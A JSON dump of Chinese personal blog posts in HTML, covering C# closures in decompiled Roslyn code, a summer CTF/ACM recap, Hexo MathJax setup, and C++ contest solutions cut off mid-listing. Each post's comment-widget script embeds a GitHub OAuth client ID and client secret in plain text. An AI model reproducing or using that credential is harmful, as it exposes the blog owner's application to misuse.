class=\"line\"\u003ef();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,rosyln创建了一个单独的类,在运行时将自由变量赋给这个类的成员,从而实现了闭包。\u003c/p\u003e\u003cp\u003ebtw,我们还能从上面的反编译出来的代码中推断出,对于闭包,C#采用了引用传递,而非值传递(由于变量的地址相同,反编译器把它们当作了同一个变量)。仔细思考一下,这符合描述闭包的哪一句定义?\u003c/p\u003e\u003ch2 id=\"Backing-Field-与-getter-setter\"\u003eBacking Field 与 getter/setter\u003c/h2\u003e\u003cp\u003e// WIP\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2020/02/07/Security/Osu%E9%80%86%E5%90%91%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E7%BB%93/"},{"title":"2019暑假划水小结","time":"2019-08-23T09:50:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"TOC\"\u003e[TOC]\u003c/h2\u003e\u003cul\u003e\u003cli\u003emoeCTF\u003c/li\u003e\u003cli\u003emssCTF\u003c/li\u003e\u003cli\u003eACM牛客多校\u003c/li\u003e\u003cli\u003eACM暑训\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"moeCTF\"\u003emoeCTF\u003c/h2\u003e\u003cp\u003e今年的moeCTF貌似开早了,题也放的超级多\u003cbr/\u003e有EndCat带设计师的加持,今年的moeCTF的海报和logo做的究级有排面\u003cbr/\u003e服务器的uptime \u0026gt;= 95%,还行\u003c/p\u003e\u003cp\u003e平台的一些修改:\u003c/p\u003e\u003cul\u003e\u003cli\u003e添加了提交flag时的hook,每次正确提交都会在群里提示\u003c/li\u003e\u003cli\u003e添加了hidden用户的排行榜,方便大师傅们看榜\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"mssCTF\"\u003emssCTF\u003c/h2\u003e\u003cp\u003e去年参加的mssCTF今年还是西电举办,于是我就做了些微小的工作…\u003cbr/\u003e虽然说最后成功让CTFd支持了ACM评测,但是由于过程极其坎坷,浪费了很多时间,我觉得比较失败\u003cbr/\u003e\u003ca href=\"https://blog.frankli.site/2019/07/25/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/\"\u003e一些微小的工作\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"ACM牛客多校\"\u003eACM牛客多校\u003c/h2\u003e\u003cp\u003e暑假主要参与的活动就是牛客的多校训练。我有以下几点感受:\u003c/p\u003e\u003cul\u003e\u003cli\u003e我好菜啊\u003c/li\u003e\u003cli\u003e我好蔡啊\u003c/li\u003e\u003cli\u003e我好啊\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e看到几何旋律每次都直接平A过去,心态有·崩\u003cbr/\u003e交钱买了一件衣服\u003cbr/\u003e\u003ca href=\"https://blog.frankli.site/2019/08/06/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/\"\u003e多校\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"ACM暑期集训\"\u003eACM暑期集训\u003c/h2\u003e\u003cp\u003e每天早上9点开始的集训,本来是暑实的大好机会,然而由于多种因素共同导致的事件而错过了。\u003cbr/\u003e说实在的挺后悔的,没特别认真的听,又在浪费时间浪费生命。\u003cbr/\u003eACM暑训模拟赛 校内Au, 3rd\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2019/08/23/Misc/2019%E6%9A%91%E5%81%87%E5%88%92%E6%B0%B4%E5%B0%8F%E7%BB%93/"},{"title":"论mathjax踩坑","time":"2019-08-06T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e我就不应该想起来要折腾博客的\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"结论\"\u003e结论\u003c/h2\u003e\u003cp\u003e结论放前面吧\u003cbr/\u003ehexo自带的renderer对mathjax较不友好,于是换成了\u003ccode\u003ehexo-renderer-markdown-it\u003c/code\u003e\u003cbr/\u003e\u003ca href=\"https://github.com/hexojs/hexo-renderer-marked\"\u003erenderer-marked\u003c/a\u003e\u003cbr/\u003e\u003ca href=\"https://github.com/hexojs/hexo-renderer-markdown-it\"\u003erenderer-markdown-it\u003c/a\u003e\u003cbr/\u003e其实这并没有解决我的问题,只是看着有commonmark…真正解决我问题的是\u003ca href=\"https://github.com/hexojs/hexo-renderer-markdown-it/issues/36\"\u003e这个issue\u003c/a\u003e\u003c/p\u003e\u003cp\u003e现在的配置基本上是这样:\u003cbr/\u003enpm install --save hexo-renderer-markdown-it markdown-it-mathjax\u003cbr/\u003e使用了cactus主题,具体配置不说,主要是在cactus/layout/poast.ejs中要手动对文章内的公式渲染一下\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;% \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(page.math) { %\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026#34;text/x-mathjax-config\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MathJax.Hub.Config({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;HTML-CSS\u0026#34;\u003c/span\u003e: { \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e scale: \u003cspan class=\"number\"\u003e100\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e preferredFont: \u003cspan class=\"string\"\u003e\u0026#34;TeX\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e availableFonts: [\u003cspan class=\"string\"\u003e\u0026#34;STIX\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;TeX\u0026#34;\u003c/span\u003e],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e linebreaks: { \u003cspan class=\"attr\"\u003eautomatic\u003c/span\u003e:\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e EqnChunk: (MathJax.Hub.Browser.isMobile ? \u003cspan class=\"number\"\u003e10\u003c/span\u003e : \u003cspan class=\"number\"\u003e50\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e tex2jax: { \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e inlineMath: [ [\u003cspan class=\"string\"\u003e\u0026#34;$\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;$\u0026#34;\u003c/span\u003e] ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e displayMath: [ [\u003cspan class=\"string\"\u003e\u0026#34;$$\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;$$\u0026#34;\u003c/span\u003e] ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e processEscapes: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ignoreClass: \u003cspan class=\"string\"\u003e\u0026#34;tex2jax_ignore|dno\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e skipTags: [\u003cspan class=\"string\"\u003e\u0026#39;script\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;noscript\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;style\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;textarea\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;pre\u0026#39;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#39;code\u0026#39;\u003c/span\u003e]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e TeX: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e noUndefined: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e attributes: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e mathcolor: \u003cspan class=\"string\"\u003e\u0026#34;red\u0026#34;\u003c/span\u003e, \u003cspan class=\"attr\"\u003emathbackground\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;#FFEEEE\u0026#34;\u003c/span\u003e, \u003cspan class=\"attr\"\u003emathsize\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;90%\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }, \u003cspan class=\"attr\"\u003eMacros\u003c/span\u003e: { \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#34;{}\u0026#34;\u003c/span\u003e } \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e messageStyle: \u003cspan class=\"string\"\u003e\u0026#34;none\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }); \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026#34;text/x-mathjax-config\u0026#34;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MathJax.Hub.Queue(\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e all = MathJax.Hub.getAllJax(), i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; all.length; i += \u003cspan class=\"number\"\u003e1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e all[i].SourceElement().parentNode.className += \u003cspan class=\"string\"\u003e\u0026#39; has-jax\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e });\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026#34;text/javascript\u0026#34;\u003c/span\u003e src=\u003cspan class=\"string\"\u003e\u0026#34;https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\u0026#34;\u003c/span\u003e\u0026gt;\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;% } %\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在需要用mathjax的文章的header里头填个\u003c/p\u003e\u003cfigure class=\"highlight yml\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003emath:\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e就好啦\u003c/p\u003e\u003ch2 id=\"使用Mathjax备忘\"\u003e使用Mathjax备忘\u003c/h2\u003e\u003cp\u003e除了mathjax的基本语法,有些会用到但不太常用到的东西在这稍稍记一下,长期更新\u003c/p\u003e\u003cp\u003e本篇文章设置了\u003ccode\u003emath: false\u003c/code\u003e\u003c/p\u003e\u003ch3 id=\"功能\"\u003e功能\u003c/h3\u003e\u003cp\u003e写法\u003c/p\u003e\u003ch3 id=\"多行公式-对齐\"\u003e多行公式+对齐\u003c/h3\u003e\u003cp\u003e\\begin{align}\u003cbr/\u003e\u0026amp; 1+1 \\\\\u003cbr/\u003e= \u0026amp; 2 \\\\\u003cbr/\u003e= \u0026amp; 5-4\u003cbr/\u003e\\end{align}\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2019/08/07/Dev/%E8%AE%BAmathjax%E8%B8%A9%E5%9D%91/"},{"title":"2019暑期牛客多校","time":"2019-08-05T16:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003eWIP\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"第三场\"\u003e第三场\u003c/h2\u003e\u003ch3 id=\"B-Crazy-Binary-String\"\u003eB: Crazy Binary String\u003c/h3\u003e\u003cp\u003e签到题\u003cbr/\u003e初步想法是$v_i$记录在$i$处出现过的0与1个数之差,当$v_j == v_i (j \\gt i)$时计算$j-i$,记录其最大值\u003cbr/\u003e然而这就是个前缀和。。\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;n;i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(a[i])state++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e state--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(first[state])\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e maxx = \u003cspan class=\"built_in\"\u003emax\u003c/span\u003e(maxx, i-first[state]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e first[state] = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecout\u0026lt;\u0026lt;maxx;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"J-LRU-management\"\u003eJ: LRU management\u003c/h3\u003e\u003cp\u003e大暴力,模拟\u003cbr/\u003e赛后补题\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;iostream\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;list\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;unordered_map\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e \u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e std;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elist\u0026lt;pair\u0026lt;string, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026gt; cache;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eunordered_map\u0026lt;string, list\u0026lt;pair\u0026lt;string, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e\u0026gt;\u0026gt;::iterator\u0026gt; last;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e T, Q, M;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eaccess\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan 